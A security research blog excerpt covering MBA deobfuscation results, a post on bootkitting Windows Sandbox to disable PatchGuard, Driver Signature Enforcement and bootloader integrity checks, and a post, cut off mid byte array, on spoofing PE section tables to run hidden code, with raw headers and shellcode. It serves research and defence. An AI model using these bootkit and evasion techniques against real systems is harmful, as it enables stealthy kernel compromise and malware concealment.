Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 151
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 347
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 1045
Synthesized (cost = 41): (((((y^x)*0xca520e000000000)+((((0xb5603a6000000000*(x|y))+((x*y)*0xb5107a7800000003))+(0xe6b5be4000000004*(x|y)))+(0xf35adf2000000002*(y^x))))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 4864
Synthesized (cost = 29): ((((0x2*(y^x))+(((x|y)*0x9c15f8a000000004)+((x*y)*0xb5107a7800000003)))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 46118
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
e-graph reset done.
====================================================================================================
eclasses #: 22
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 34
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 63
Synthesized (cost = 25): ((((0x2*(y^x))+((x|y)*0x63ea076000000000))+(y*(x+(0x2*x))))+((x|y)*0x9c15f8a000000004))
====================================================================================================
eclasses #: 130
Synthesized (cost = 17): (((0x2*(y^x))+((x|y)*0x4))+(0x3*(x*y)))
====================================================================================================

Limitations

The rewriting rules used in the minimal proof of concept already proved to be good candidates in many tests, but it is possible to observe expressions which have only been partially simplified when equality saturation and QSynthesis are being applied without any form of sub-expression normalization due to MBA-Blast. Similar issues can be noticed when expressions involving constants (in their pre-obfuscation form) are not processed with the constant oracle or via constant harvesting. The constant oracle itself is hindered by edge cases where the restriction to a smaller I/O bitwidth is not sufficient to obtain a small set of templates to be fed to CEGIS.

From an implementation point of view, the current Python script suffers from heavy performance issues when the e-graph size gets too large, therefore requiring early resets that are inevitably going to discard valuable information that could instead lead to better results. Crucial phases like the e-graph matching and the subsequent cost computation could be rewritten to use clever algorithms and aggressive caching.

Finally, a well known problem with the “quality” of the I/O samples is still present; in fact, they may not be sufficient to drive the synthesis in the right direction, leading to the insertion of wrong knowledge in the e-graph and, consequently, to wrong results. The problem can be contained enabling the formal verification of all the equivalences, at the cost of an additional slowdown.

Conclusion

The tip of the iceberg of what can be done when combining equality saturation and program synthesis has been barely scratched. Our feeling is that rewriting the proof of concept in a faster language and with better algorithms could lead to further improvements. On top of that, the following opportunities might be exciting future work:

  • Given one or more e-graphs grown during the synthesis process, a tool like Ruler could be used to infer the minimal set of rewriting rules originally computed to apply the MBA obfuscation.
  • One of the limitations hinted at in the MBA-Blast publication is determining which base is going to lead to the best results, so equality saturation could be employed to enrich the e-graph with sub-expressions simplified via a set of different basis and finally extract the minimal representation.
  • Find ways to reliably detect if an expression requires the constants oracle (slow), constants harvesting (medium) or just term rewriting (fast) to be fully synthesized could be beneficial for the performance.
  • Incremental learning has the desirable side effect of reducing the amount of e-classes in the e-graph, so less time is spent during cost computation, although the amount of e-nodes is not affected, meaning that during the matching phase a heavy slowdown is noticeable. Incremental matching or parallelization efforts could be viable paths to speed up the process.

The current Python PoC can be found on GitHub. It is a monolithic slow script that has just been used to experiment with the documented ideas and it will be properly rewritten in a faster language in the upcoming months.

Acknowledgements

  • Matteo Favaro and Tim Blazytko: Matteo and Tim researched the limitations of common MBA deobfuscation approaches and discussed methods to improve them, including the combination of QSynthesis with equality saturation. Matteo designed, implemented, evaluated and documented the attacks presented in the blog post. Tim provided useful insights, generated challenging MBA tests and helped in writing the post.

Additionally, we would like to thank:

  • Fabrizio Biondi, for the discussions about combining multiple techniques to drive the simplification efforts and on using the information inherently present in the structure of the obfuscated code.
  • Gianluca Pericoli, for galois_is_sexy and the time spent together generating MBAs and attacking their linear and polynomial representations.
  • Max Willsey et al., authors of egg: Fast and Extensible Equality Saturation, for providing a good understanding of the topic.
  • Duk, Duncan Ogilvie and Justas Masiulis for reviewing and improving the blog post.

Appendix

The rewriting rules used by the proof of concept follow. They are by no means complete and have just been empirically selected during the experiments.

(x * y)               ->   (y * x)
(x + y)               ->   (y + x)
(x & y)               ->   (y & x)
(x ^ y)               ->   (y ^ x)
(x | y)               ->   (y | x)
(x * (y * z))         ->   ((x * y) * z)
(x + (y + z))         ->   ((x + y) + z)
(x & (y & z))         ->   ((x & y) & z)
(x ^ (y ^ z))         ->   ((x ^ y) ^ z)
(x | (y | z))         ->   ((x | y) | z)
~(x * y)              ->   ((~x * y) + (y - 1))
~(x + y)              ->   (~x + (~y + 1))
~(x - y)              ->   (~x - (~y + 1))
~(x & y)              ->   (~x | ~y)
~(x ^ y)              ->   ((x & y) | ~(x | y))
~(x | y)              ->   (~x & ~y)
-(x * y)              ->   (-x * y)
(-x * y)              ->   -(x * y)
(x - y)               ->   (x + (-y))
(x + (-y))            ->   (x - y)
-x                    ->   (~x + 1)
(~x + 1)              ->   -x
((x + y) * z)         ->   ((x * z) + (y * z))
((x - y) * z)         ->   ((x * z) - (y * z))
((x * y) + (x * z))   ->   (x * (y + z))
((x * y) - (x * z))   ->   (x * (y - z))
((x * y) + y)         ->   ((x + 1) * y)
(x + x)               ->   (2 * x)
-(x + y)              ->   ((-x) + (-y))

Bootkitting Windows Sandbox

29 August 2022 at 23:00

Introduction & Motivation

Windows Sandbox is a feature that Microsoft added to Windows back in May 2019. As Microsoft puts it:

Windows Sandbox provides a lightweight desktop environment to safely run applications in isolation. Software installed inside the Windows Sandbox environment remains “sandboxed” and runs separately from the host machine.

The startup is usually very fast and the user experience is great. You can configure it with a .wsb file and then double click that file to start a clean VM.

The sandbox can be useful for malware analysis and as we will show in this article, it can also be used for kernel research and driver development. We will take things a step further though and share how we can intercept the boot process and patch the kernel during startup with a bootkit.

TLDR: Visit the SandboxBootkit repository to try out the bootkit for yourself.

Windows Sandbox for driver development

A few years back Jonas L tweeted about the undocumented command CmDiag. It turns out that it is almost trivial to enable test signing and kernel debugging in the sandbox (this part was copied straight from my StackOverflow answer).

First you need to enable development mode (everything needs to be run from an Administrator command prompt):

CmDiag DevelopmentMode -On

Then enable network debugging (you can see additional options with CmDiag Debug):

CmDiag Debug -On -Net

This should give you the connection string:

Debugging successfully enabled.

Connection string: -k net:port=50100,key=cl.ea.rt.ext,target=<ContainerHostIp> -v

Now start WinDbg and connect to 127.0.0.1:

windbg.exe -k net:port=50100,key=cl.ea.rt.ext,target=127.0.0.1 -v

Then you start Windows Sandbox and it should connect:

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Using NET for debugging
Opened WinSock 2.0
Using IPv4 only.
Waiting to reconnect...
Connected to target 127.0.0.1 on port 50100 on local IP <xxx.xxx.xxx.xxx>.
You can get the target MAC address by running .kdtargetmac command.
Connected to Windows 10 19041 x64 target at (Sun Aug  7 10:32:11.311 2022 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.

Now in order to load your driver you have to copy it into the sandbox and you can use sc create and sc start to run it. Obviously most device drivers will not work/freeze the VM but this can certainly be helpful for research.

The downside of course is that you need to do quite a bit of manual work and this is not exactly a smooth development experience. Likely you can improve it with the <MappedFolder> and <LogonCommand> options in your .wsb file.

PatchGuard & DSE

Running Windows Sandbox with a debugger attached will disable PatchGuard and with test signing enabled you can run your own kernel code. Attaching a debugger every time is not ideal though. Startup times are increased by a lot and software might detect kernel debugging and refuse to run. Additionally it seems that the network connection is not necessarily stable across host reboots and you need to restart WinDbg every time to attach the debugger to the sandbox.

Tooling similar to EfiGuard would be ideal for our purposes and in the rest of the post we will look at implementing our own bootkit with equivalent functionality.

Windows Sandbox internals recap

Back in March 2021 a great article called Playing in the (Windows) Sandbox came out. This article has a lot of information about the internals and a lot of the information below comes from there. Another good resource is Microsoft’s official Windows Sandbox architecture page.

Windows Sandbox uses VHDx layering and NTFS magic to allow the VM to be extremely lightweight. Most of the system files are actually NTFS reparse points that point to the host file system. For our purposes the relevant file is BaseLayer.vhdx (more details in the references above).

What the article did not mention is that there is a folder called BaseLayer pointing directly inside the mounted BaseLayer.vhdx at the following path on the host:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer

This is handy because it allows us to read/write to the Windows Sandbox file system without having to stop/restart CmService every time we want to try something. The only catch is that you need to run as TrustedInstaller and you need to enable development mode to modify files there.

When you enable development mode there will also be an additional folder called DebugLayer in the same location. This folder exists on the host file system and allows us to overwrite certain files (BCD, registry hives) without having to modify the BaseLayer. The configuration for the DebugLayer appears to be in BaseLayer\Bindings\Debug, but no further time was spent investigating. The downside of enabling development mode is that snapshots are disabled and as a result startup times are significantly increased. After modifying something in the BaseLayer and disabling development mode you also need to delete the Snapshots folder and restart CmService to apply the changes.

Getting code execution at boot time

To understand how to get code execution at boot time you need some background on UEFI. We released Introduction to UEFI a few years back and there is also a very informative series called Geeking out with the UEFI boot manager that is useful for our purposes.

In our case it is enough to know that the firmware will try to load EFI\Boot\bootx64.efi from the default boot device first. You can override this behavior by setting the BootOrder UEFI variable. To find out how Windows Sandbox boots you can run the following PowerShell commands:

> Set-ExecutionPolicy -ExecutionPolicy Unrestricted
> Install-Module UEFI
> Get-UEFIVariable -VariableName BootOrder -AsByteArray
0
0
> Get-UEFIVariable -VariableName Boot0000
VMBus File SystemVMBus\EFI\Microsoft\Boot\bootmgfw.efi

From this we can derive that Windows Sandbox first loads:

\EFI\Microsoft\Boot\bootmgfw.efi

As described in the previous section we can access this file on the host (as TrustedInstaller) via the following path:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer\Files\EFI\Microsoft\Boot\bootmgfw.efi

To verify our assumption we can rename the file and try to start Windows Sandbox. If you check in Process Monitor you will see vmwp.exe fails to open bootmgfw.efi and nothing happens after that.

Perhaps it is possible to modify UEFI variables and change Boot0000 (Hyper-V Manager can do this for regular VMs so probably there is a way), but for now it will be easier to modify bootmgfw.efi directly.

Bootkit overview

To gain code execution we embed a copy of our payload inside bootmgfw and then we modify the entry point to our payload.

Our EfiEntry does the following:

  • Get the image base/size of the currently running module
  • Relocate the image when necessary
  • Hook the BootServices->OpenProtocol function
  • Get the original AddressOfEntryPoint from the .bootkit section
  • Execute the original entry point

To simplify the injection of SandboxBootkit.efi into the .bootkit section we use the linker flags /FILEALIGN:0x1000 /ALIGN:0x1000. This sets the FileAlignment and SectionAlignment to PAGE_SIZE, which means the file on disk and in-memory are mapped one-to-one.

Bootkit hooks

Note: Many of the ideas presented here come from the DmaBackdoorHv project by Dmytro Oleksiuk, go check it out!

The first issue you run into when modifying bootmgfw.efi on disk is that the self integrity checks will fail. The function responsible for this is called BmFwVerifySelfIntegrity and it directly reads the file from the device (e.g. it does not use the UEFI BootServices API). To bypass this there are two options:

  1. Hook BmFwVerifySelfIntegrity to return STATUS_SUCCESS
  2. Use bcdedit /set {bootmgr} nointegritychecks on to skip the integrity checks. Likely it is possible to inject this option dynamically by modifying the LoadOptions, but this was not explored further

Initially we opted to use bcdedit, but this can be detected from within the sandbox so instead we patch BmFwVerifySelfIntegrity.

We are able to hook into winload.efi by replacing the boot services OpenProtocol function pointer. This function gets called by EfiOpenProtocol, which gets executed as part of winload!BlInitializeLibrary.

In the hook we walk from the return address to the ImageBase and check if the image exports BlImgLoadPEImageEx. The OpenProtocol hook is then restored and the BlImgLoadPEImageEx function is detoured. This function is nice because it allows us to modify ntoskrnl.exe right after it is loaded (and before the entry point is called).

If we detect the loaded image is ntoskrnl.exe we call HookNtoskrnl where we disable PatchGuard and DSE. EfiGuard patches very similar locations so we will not go into much detail here, but here is a quick overview:

  • Driver Signature Enforcement is disabled by patching the parameter to CiInitialize in the function SepInitializeCodeIntegrity
  • PatchGuard is disabled by modifying the KeInitAmd64SpecificState initialization routine

Bonus: Logging from Windows Sandbox

To debug the bootkit on a regular Hyper-V VM there is a great guide by tansadat. Unfortunately there is no known way to enable serial port output for Windows Sandbox (please reach out if you know of one) and we have to find a different way of getting logs out.

Luckily for us Process Monitor allows us to see sandbox file system accesses (filter for vmwp.exe), which allows for a neat trick: accessing a file called \EFI\my log string. As long as we keep the path length under 256 characters and exclude certain characters this works great!

Procmon showing log strings from the bootkit

A more primitive way of debugging is to just kill the VM at certain points to test if code is executing as expected:

void Die() {
    // At least one of these should kill the VM
    __fastfail(1);
    __int2c();
    __ud2();
    *(UINT8*)0xFFFFFFFFFFFFFFFFull = 1;
}

Bonus: Getting started with UEFI

The SandboxBootkit project only uses the headers of the EDK2 project. This might not be convenient when starting out (we had to implement our own EfiQueryDevicePath for instance) and it might be easier to get started with the VisualUefi project.

Final words

That is all for now. You should now be able to load a driver like TitanHide without having to worry about enabling test signing or disabling PatchGuard! With a bit of registry modifications you should also be able to load DTrace (or the more hackable implementation STrace) to monitor syscalls happening inside the sandbox.

Abusing undocumented features to spoof PE section headers

5 June 2023 at 23:00

Introduction

Some time ago, I accidentally came across some interesting behaviour in PE files while debugging an unrelated project. I noticed that setting the SectionAlignment value in the NT header to a value lower than the page size (4096) resulted in significant differences in the way that the image is mapped into memory. Rather than following the usual procedure of parsing the section table to construct the image in memory, the loader appeared to map the entire file, including the headers, into memory with read-write-execute (RWX) permissions - the individual section headers were completely ignored.

As a result of this behaviour, it is possible to create a PE executable without any sections, yet still capable of executing its own code. The code can even be self-modifying if necessary due to the write permissions that are present by default.

One way in which this mode could potentially be abused would be to create a fake section table - on first inspection, this would appear to be a normal PE module containing read-write/read-only data sections, but when launched, the seemingly NX data becomes executable.

While I am sure that this technique will have already been discovered (and potentially abused) in the past, I have been unable to find any documentation online describing it. MSDN does briefly mention that the SectionAlignment value can be less than the page size, but it doesn’t elaborate any further on the implications of this.

Inside the Windows kernel

A quick look in the kernel reveals what is happening. Within MiCreateImageFileMap, we can see the parsing of PE headers - notably, if the SectionAlignment value is less than 0x1000, an undocumented flag (0x200000) is set prior to mapping the image into memory:

	if(v29->SectionAlignment < 0x1000)
	{
		if((SectionFlags & 0x80000) != 0)
 		{
			v17 = 0xC000007B;
			MiLogCreateImageFileMapFailure(v36, v39, *(unsigned int *)(v29 + 64), DWORD1(v99));
			ImageFailureReason = 55;
			goto LABEL_81;
		}
		if(!MiLegacyImageArchitecture((unsigned __int16)v99))
		{
			v17 = 0xC000007B;
			ImageFailureReason = 56;
			goto LABEL_81;
		}
		SectionFlags |= 0x200000;
	}
	v40 = MiBuildImageControlArea(a3, v38, v29, (unsigned int)&v99, SectionFlags, (__int64)&FileSize, (__int64)&v93);

If the aforementioned flag is set, MiBuildImageControlArea treats the entire file as one single section:

	if((SectionFlags & 0x200000) != 0)
	{
		SectionCount = 1;
	}
	else
	{
		SectionCount = a4->NumberOfSections + 1;
	}
	v12 = MiAllocatePool(64, 8 * (7 * SectionCount + (((unsigned __int64)(unsigned int)MiFlags >> 13) & 1)) + 184, (SectionFlags & 0x200000) != 0 ? 0x61436D4D : 0x69436D4D);

As a result, the raw image is mapped into memory with all PTEs assigned MM_EXECUTE_READWRITE protection. As mentioned previously, the IMAGE_SECTION_HEADER list is ignored, meaning a PE module using this mode can have a NumberOfSections value of 0. There are no obvious size restrictions on PE modules using this mode either - the loader will allocate memory based on the SizeOfImage field and copy the file contents accordingly. Any excess memory beyond the size of the file will remain blank.

Demonstration #1 - Executable PE with no sections

The simplest demonstration of this technique would be to create a generic “loader” for position-independent code. I have created the following sample headers by hand for testing:

// (64-bit EXE headers)
BYTE bHeaders64[328] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x60, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

BYTE bHeaders32[304] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x40, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

These headers contain a SectionAlignment value of 0x200 (rather than the usual 0x1000), a SizeOfImage value of 0x100000 (1MB), a blank section table, and an entry-point positioned immediately after the headers. Aside from these values, there is nothing special about the remaining fields:

(DOS Header)
   e_magic                       : 0x5A4D
   ...
   e_lfanew                      : 0x40
(NT Header)
   Signature                     : 0x4550
   Machine                       : 0x8664
   NumberOfSections              : 0x0
   TimeDateStamp                 : 0x0
   PointerToSymbolTable          : 0x0
   NumberOfSymbols               : 0x0
   SizeOfOptionalHeader          : 0xF0
   Characteristics               : 0x22
   Magic                         : 0x20B
   MajorLinkerVersion            : 0xE
   MinorLinkerVersion            : 0x1D
   SizeOfCode                    : 0x0
   SizeOfInitializedData         : 0x0
   SizeOfUninitializedData       : 0x0
   AddressOfEntryPoint           : 0x148
   BaseOfCode                    : 0x0
   ImageBase                     : 0x140000000
   SectionAlignment              : 0x200
   FileAlignment                 : 0x200
   MajorOperatingSystemVersion   : 0x6
   MinorOperatingSystemVersion   : 0x0
   MajorImageVersion             : 0x0
   MinorImageVersion             : 0x0
   MajorSubsystemVersion         : 0x6
   MinorSubsystemVersion         : 0x0
   Win32VersionValue             : 0x0
   SizeOfImage                   : 0x100000
   SizeOfHeaders                 : 0x148
   CheckSum                      : 0x0
   Subsystem                     : 0x2
   DllCharacteristics            : 0x8160
   SizeOfStackReserve            : 0x100000
   SizeOfStackCommit             : 0x1000
   SizeOfHeapReserve             : 0x100000
   SizeOfHeapCommit              : 0x1000
   LoaderFlags                   : 0x0
   NumberOfRvaAndSizes           : 0x10
   DataDirectory[0]              : 0x0, 0x0
   ...
   DataDirectory[15]             : 0x0, 0x0
(Start of code)

For demonstration purposes, we will be using some position-independent code that calls MessageBoxA. As the base headers lack an import table, this code must locate and load all dependencies manually - user32.dll in this case. This same payload can be used in both 32-bit and 64-bit environments:

BYTE bMessageBox[939] =
{
	0x8B, 0xC4, 0x6A, 0x00, 0x2B, 0xC4, 0x59, 0x83, 0xF8, 0x08, 0x0F, 0x84,
	0xA0, 0x01, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0x64, 0xA1,
	0x30, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C,
	0x33, 0xDB, 0x21, 0x5D, 0xF0, 0x21, 0x5D, 0xEC, 0x8B, 0x40, 0x1C, 0x8B,
	0x00, 0x8B, 0x78, 0x08, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03,
	0xC7, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x4D, 0xE8, 0x8B, 0x48, 0x20,
	0x03, 0xCF, 0x89, 0x4D, 0xE4, 0x8B, 0x48, 0x1C, 0x03, 0xCF, 0x89, 0x4D,
	0xF4, 0x8B, 0x48, 0x14, 0x89, 0x4D, 0xFC, 0x85, 0xC9, 0x74, 0x5F, 0x8B,
	0x70, 0x18, 0x8B, 0xC1, 0x89, 0x75, 0xF8, 0x33, 0xC9, 0x85, 0xF6, 0x74,
	0x4C, 0x8B, 0x45, 0xE8, 0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x74, 0x07,
	0x41, 0x3B, 0xCE, 0x72, 0xF0, 0xEB, 0x37, 0x8B, 0x45, 0xE4, 0x8B, 0x0C,
	0x88, 0x03, 0xCF, 0x74, 0x2D, 0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00,
	0x84, 0xC0, 0x74, 0x1F, 0x6B, 0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0,
	0x41, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xF1, 0x81, 0xFE, 0xFB, 0xF0, 0xBF,
	0x5F, 0x75, 0x74, 0x8B, 0x45, 0xF4, 0x8B, 0x1C, 0x90, 0x03, 0xDF, 0x8B,
	0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72, 0xA9, 0x8D, 0x45,
	0xC4, 0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0x50, 0x66, 0xC7, 0x45,
	0xC8, 0x33, 0x32, 0xC6, 0x45, 0xCA, 0x00, 0xFF, 0xD3, 0x8B, 0xF8, 0x33,
	0xD2, 0x8B, 0x4F, 0x3C, 0x8B, 0x4C, 0x39, 0x78, 0x03, 0xCF, 0x8B, 0x41,
	0x20, 0x8B, 0x71, 0x24, 0x03, 0xC7, 0x8B, 0x59, 0x14, 0x03, 0xF7, 0x89,
	0x45, 0xE4, 0x8B, 0x41, 0x1C, 0x03, 0xC7, 0x89, 0x75, 0xF8, 0x89, 0x45,
	0xE8, 0x89, 0x5D, 0xFC, 0x85, 0xDB, 0x74, 0x7D, 0x8B, 0x59, 0x18, 0x8B,
	0x45, 0xFC, 0x33, 0xC9, 0x85, 0xDB, 0x74, 0x6C, 0x0F, 0xB7, 0x04, 0x4E,
	0x3B, 0xC2, 0x74, 0x22, 0x41, 0x3B, 0xCB, 0x72, 0xF3, 0xEB, 0x5A, 0x81,
	0xFE, 0x6D, 0x07, 0xAF, 0x60, 0x8B, 0x75, 0xF8, 0x75, 0x8C, 0x8B, 0x45,
	0xF4, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xEC, 0xE9, 0x7C, 0xFF,
	0xFF, 0xFF, 0x8B, 0x45, 0xE4, 0x8B, 0x0C, 0x88, 0x03, 0xCF, 0x74, 0x35,
	0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x27, 0x6B,
	0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0, 0x41, 0x8A, 0x01, 0x84, 0xC0,
	0x75, 0xF1, 0x81, 0xFE, 0xB4, 0x14, 0x4F, 0x38, 0x8B, 0x75, 0xF8, 0x75,
	0x10, 0x8B, 0x45, 0xE8, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xF0,
	0xEB, 0x03, 0x8B, 0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72,
